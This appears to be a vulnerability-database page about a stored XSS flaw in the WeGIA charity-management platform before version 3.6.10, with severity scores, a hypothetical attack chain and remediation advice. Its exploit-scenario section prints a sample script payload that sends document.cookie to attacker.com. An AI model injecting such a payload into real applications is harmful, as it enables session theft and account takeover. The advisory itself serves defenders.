Skip to main content

Wegia CVE-2026-40282

| EUVDEUVD-2026-23523 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-04-17 GitHub_M
6.4
CVSS 4.0 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Authenticate to WeGIA application
  2. Delivery
    Access Intercorrências notification creation interface
  3. Exploit
    Inject malicious JavaScript payload into notification content
  4. Install
    Submit and store payload in database
  5. C2
    Other users view compromised notification page
  6. Execute
    JavaScript executes in victim browser context
  7. Impact
    Attacker exfiltrates session token and hijacks account

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The vulnerability requires an authenticated user account with permission to create or edit entries in the Intercorrências notification feature. The injected malicious JavaScript must be stored in the notification database through the normal content creation interface without proper input validation. Execution occurs when any user (authenticated or potentially unauthenticated, depending on application design) views the notification page containing the payload. The vulnerability is not dependent on any non-default configuration - it affects standard deployments of WeGIA versions prior to 3.6.10 where the Intercorrências feature is enabled and accessible. The limiting factor is the requirement for an authenticated attacker to inject the payload initially; however, once injected, the payload executes against all subsequent viewers without additional attacker interaction.

Impact

The CVSS 4.0 vector shows AV:N (network-accessible), AC:L (low attack complexity), and PR:N (no authentication required per the vector), but the description explicitly states the injected payload requires an authenticated user to create it. This apparent discrepancy suggests the CVSS vector may not accurately represent the actual authentication requirement - the vulnerability requires PR:L (low privilege authentication) to inject, not PR:N. The high Scope (SC:H) indicates scope changes between attacker and impact targets. The UI:A (user interaction required) field indicates that viewing the compromised notification page triggers execution, which is typical for stored XSS. The SI:H (session integrity impact) and VI:L (vulnerability integrity impact) reflect the session hijacking and account takeover consequences. Real-world risk is moderate but not critical: exploitation requires an authenticated attacker to initially inject the payload, but the payload affects all subsequent users who view that notification. No KEV (Known Exploited Vulnerability) status is provided, and no public exploit code is referenced, suggesting this is not actively exploited in the wild at the time of analysis. Organizations with tight access controls limiting who can create notifications will face lower risk than those allowing widespread user-generated content.

Exploit ScenarioDerived

An authenticated user with access to create or edit Intercorrências notifications injects a JavaScript payload containing code to exfiltrate session cookies: <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>. When an administrator or another user subsequently views the Intercorrências notification page, the malicious script executes in their browser, sending their session cookie to the attacker. The attacker then uses the stolen session token to impersonate the victim and gain unauthorized access to their account.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 17, 2026

Stored Cross-Site Scripting in WeGIA versions prior to 3.6.10 allows authenticated users to inject malicious JavaScript into the Intercorrências notification page, which executes when other users access that page, enabling session hijacking and account takeover. The vulnerability requires user authentication to inject the payload but affects all subsequent viewers of the notification page without additional user interaction. Patch version 3.6.10 resolves the issue.

RemediationAI

Upgrade WeGIA to version 3.6.10 or later, which includes proper input sanitization and output encoding for the Intercorrências notification page. The vendor has released this patched version and it is available from their GitHub repository. If immediate patching is not feasible, implement compensating controls such as: (1) restrict write permissions on the Intercorrências notification feature to trusted administrative users only, reducing the attack surface to authenticated attackers with elevated privileges; (2) implement a Content Security Policy (CSP) header with strict directives (script-src 'self', no inline scripts) to mitigate the impact of any injected JavaScript; (3) enable security headers such as X-XSS-Protection to provide browser-level protection against reflected XSS (though this has limited effect on stored XSS); (4) conduct regular security audits of notification content and review audit logs for suspicious entries. Note that compensating controls do not eliminate the vulnerability and should only be temporary measures until patching is completed.

Affected VersionsENISA

WeGIA < 3.6.10

Affected Packages

euvd wegia fix: 3.6.10

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This is a stored XSS vulnerability (CWE-79) in WeGIA, a web-based management platform for charitable institutions. The vulnerability exists in the Intercorrências (Incidents/Issues) notification functionality where user-supplied input is not properly sanitized or encoded before being stored in a database and later rendered in HTML responses. When a page containing the injected JavaScript is accessed, the browser executes the malicious script in the security context of the viewing user's session, allowing attackers to steal session tokens, cookies, or perform actions on behalf of the victim. The CPE cpe:2.3:a:labredescefetrj:wegia:*:*:*:*:*:*:*:* identifies the affected product family across all versions before 3.6.10.

Know when Wegia gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 6.4 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:H/SI:H/SA:H

Primary rating from Vendor (GitHub_M) · only source for this CVE.

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Active
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
High
Subsequent system: Integrity
High
Subsequent system: Availability
High

Lifecycle Timeline

3
Patch released
Apr 20, 2026 - 19:02 nvd
Patch available
Patch available
Apr 17, 2026 - 21:16 EUVD
CVE Published
Apr 17, 2026 - 20:16 nvd
MEDIUM 6.4

DescriptionCVE.org

WeGIA is a web manager for charitable institutions. In versions prior to 3.6.10, a Stored Cross-Site Scripting (XSS) vulnerability allows an authenticated user to inject malicious JavaScript into the Intercorrências notification page, which is executed when user access the the page, enabling session hijacking and account takeover. Version 3.6.10 fixes the issue.

Threat Intelligence Overview

EPSS Score
0.0%
Top 86% exploitable
Social Media
1
Sightings
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

More in Wegia

View all
CVE-2025-50201 CRITICAL POC
9.8 Jun 19

Critical OS Command Injection vulnerability in WeGIA (a web management system for charitable institutions) versions prio

CVE-2025-27140 CRITICAL POC
10.0 Feb 24

WeGIA is a Web manager for charitable institutions. Rated critical severity (CVSS 10.0), this vulnerability is remotely

CVE-2025-26613 CRITICAL POC
10.0 Feb 18

WeGIA is an open source Web Manager for Institutions with a focus on Portuguese language users. Rated critical severity

CVE-2025-55169 CRITICAL POC
10.0 Aug 12

WeGIA is an open source web manager with a focus on the Portuguese language and charitable institutions. Rated critical

CVE-2025-30364 CRITICAL POC
10.0 Mar 27

WeGIA is a Web manager for charitable institutions. Rated critical severity (CVSS 10.0), this vulnerability is remotely

CVE-2025-46828 CRITICAL POC
10.0 May 07

WeGIA is a web manager for charitable institutions. Rated critical severity (CVSS 10.0), this vulnerability is remotely

CVE-2025-26612 CRITICAL POC
10.0 Feb 18

WeGIA is an open source Web Manager for Institutions with a focus on Portuguese language users. Rated critical severity

CVE-2025-26617 CRITICAL POC
10.0 Feb 18

WeGIA is an open source Web Manager for Institutions with a focus on Portuguese language users. Rated critical severity

CVE-2025-26611 CRITICAL POC
10.0 Feb 18

WeGIA is an open source Web Manager for Institutions with a focus on Portuguese language users. Rated critical severity

CVE-2025-26609 CRITICAL POC
10.0 Feb 18

WeGIA is an open source Web Manager for Institutions with a focus on Portuguese language users. Rated critical severity

CVE-2025-26608 CRITICAL POC
10.0 Feb 18

WeGIA is an open source Web Manager for Institutions with a focus on Portuguese language users. Rated critical severity

CVE-2025-26607 CRITICAL POC
10.0 Feb 18

WeGIA is an open source Web Manager for Institutions with a focus on Portuguese language users. Rated critical severity

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy